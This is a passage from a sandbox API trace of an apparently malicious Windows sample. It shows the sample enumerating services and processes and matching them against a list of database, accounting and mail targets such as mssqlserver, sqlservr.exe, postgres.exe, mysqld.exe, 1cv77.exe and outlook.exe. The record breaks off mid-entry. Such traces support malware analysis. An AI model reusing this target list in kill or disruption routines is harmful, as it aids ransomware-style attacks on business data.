EnumServicesStatusExW (in: hSCManager=0x41d7810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41ccf70, cbBufSize=0xa64, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41ccf70, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0210.053] CloseServiceHandle (hSCObject=0x41d7810) returned 1 [0210.054] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0210.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.055] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0210.055] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0210.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0210.055] lstrlenW (lpString="AudioSrv") returned 8 [0210.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0210.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0210.055] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0210.055] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0210.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0210.055] lstrlenW (lpString="BFE") returned 3 [0210.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0210.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0210.055] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0210.056] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0210.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0210.056] lstrlenW (lpString="CscService") returned 10 [0210.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0210.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0210.056] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0210.056] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0210.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0210.056] lstrlenW (lpString="DcomLaunch") returned 10 [0210.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.056] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0210.056] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0210.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0210.057] lstrlenW (lpString="Dhcp") returned 4 [0210.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0210.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0210.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0210.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0210.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0210.058] lstrlenW (lpString="Dnscache") returned 8 [0210.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0210.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0210.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0210.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0210.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0210.059] lstrlenW (lpString="eventlog") returned 8 [0210.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0210.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0210.059] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0210.059] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0210.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0210.059] lstrlenW (lpString="EventSystem") returned 11 [0210.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0210.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0210.059] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0210.059] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0210.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0210.060] lstrlenW (lpString="gpsvc") returned 5 [0210.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0210.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0210.060] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0210.060] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0210.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0210.060] lstrlenW (lpString="lmhosts") returned 7 [0210.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0210.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0210.060] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0210.060] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0210.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0210.061] lstrlenW (lpString="MMCSS") returned 5 [0210.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0210.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0210.061] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0210.061] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0210.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0210.061] lstrlenW (lpString="MpsSvc") returned 6 [0210.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0210.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0210.061] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0210.061] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0210.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0210.062] lstrlenW (lpString="nsi") returned 3 [0210.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0210.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0210.062] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0210.062] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0210.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0210.062] lstrlenW (lpString="PlugPlay") returned 8 [0210.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0210.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0210.062] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0210.063] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0210.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0210.063] lstrlenW (lpString="Power") returned 5 [0210.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0210.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0210.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0210.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0210.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0210.063] lstrlenW (lpString="ProfSvc") returned 7 [0210.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0210.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0210.063] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0210.063] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0210.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0210.064] lstrlenW (lpString="RpcEptMapper") returned 12 [0210.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.064] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0210.064] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0210.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0210.064] lstrlenW (lpString="RpcSs") returned 5 [0210.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0210.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0210.064] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0210.064] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0210.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0210.064] lstrlenW (lpString="SamSs") returned 5 [0210.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0210.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0210.065] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0210.065] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0210.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0210.065] lstrlenW (lpString="Schedule") returned 8 [0210.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0210.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0210.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0210.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0210.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0210.065] lstrlenW (lpString="SENS") returned 4 [0210.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0210.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0210.066] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0210.066] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0210.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0210.066] lstrlenW (lpString="ShellHWDetection") returned 16 [0210.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.066] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0210.066] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0210.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0210.067] lstrlenW (lpString="Spooler") returned 7 [0210.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0210.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0210.067] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0210.067] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0210.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0210.067] lstrlenW (lpString="Themes") returned 6 [0210.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0210.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0210.067] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0210.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0210.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0210.068] lstrlenW (lpString="UxSms") returned 5 [0210.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0210.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0210.068] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0210.068] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0210.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0210.068] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41ccf70 | out: hHeap=0x880000) returned 1 [0210.068] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0210.320] Process32FirstW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.321] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0210.323] lstrlenW (lpString="System") returned 6 [0210.323] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0210.323] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0210.323] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0210.323] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0210.324] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0210.324] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0210.324] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0210.324] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0210.325] lstrlenW (lpString="smss.exe") returned 8 [0210.325] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0210.325] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0210.325] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0210.325] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0210.325] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0210.325] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0210.325] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0210.325] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.327] lstrlenW (lpString="csrss.exe") returned 9 [0210.327] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0210.327] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0210.327] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0210.327] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0210.327] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0210.327] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0210.327] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0210.327] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0210.328] lstrlenW (lpString="wininit.exe") returned 11 [0210.328] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0210.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0210.329] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0210.329] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0210.329] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0210.329] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0210.329] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0210.329] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.330] lstrlenW (lpString="csrss.exe") returned 9 [0210.330] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0210.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0210.330] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0210.330] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0210.331] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0210.331] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0210.331] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0210.331] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0210.332] lstrlenW (lpString="winlogon.exe") returned 12 [0210.332] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0210.332] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0210.332] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0210.332] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0210.332] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0210.332] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0210.333] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0210.333] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0210.334] lstrlenW (lpString="services.exe") returned 12 [0210.334] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0210.334] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0210.334] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0210.334] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0210.334] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0210.334] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0210.334] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0210.334] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0210.335] lstrlenW (lpString="lsass.exe") returned 9 [0210.335] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0210.335] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0210.336] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0210.336] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0210.336] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0210.336] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0210.336] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0210.336] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0210.337] lstrlenW (lpString="lsm.exe") returned 7 [0210.337] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0210.337] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0210.338] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0210.338] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0210.338] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0210.338] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0210.338] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0210.338] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.340] lstrlenW (lpString="svchost.exe") returned 11 [0210.340] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0210.340] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0210.340] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0210.340] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0210.340] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0210.340] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0210.340] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0210.340] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.341] lstrlenW (lpString="svchost.exe") returned 11 [0210.341] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0210.341] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0210.341] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0210.342] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0210.342] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0210.342] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0210.342] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0210.342] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.343] lstrlenW (lpString="svchost.exe") returned 11 [0210.343] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0210.343] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0210.343] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0210.343] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0210.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0210.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0210.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0210.343] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.344] lstrlenW (lpString="svchost.exe") returned 11 [0210.345] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0210.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0210.345] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0210.345] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0210.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0210.345] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0210.345] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0210.345] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.346] lstrlenW (lpString="svchost.exe") returned 11 [0210.346] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0210.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0210.346] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0210.347] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0210.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0210.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0210.347] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0210.347] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0210.348] lstrlenW (lpString="audiodg.exe") returned 11 [0210.348] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0210.348] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0210.348] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0210.348] lstrcmpiW 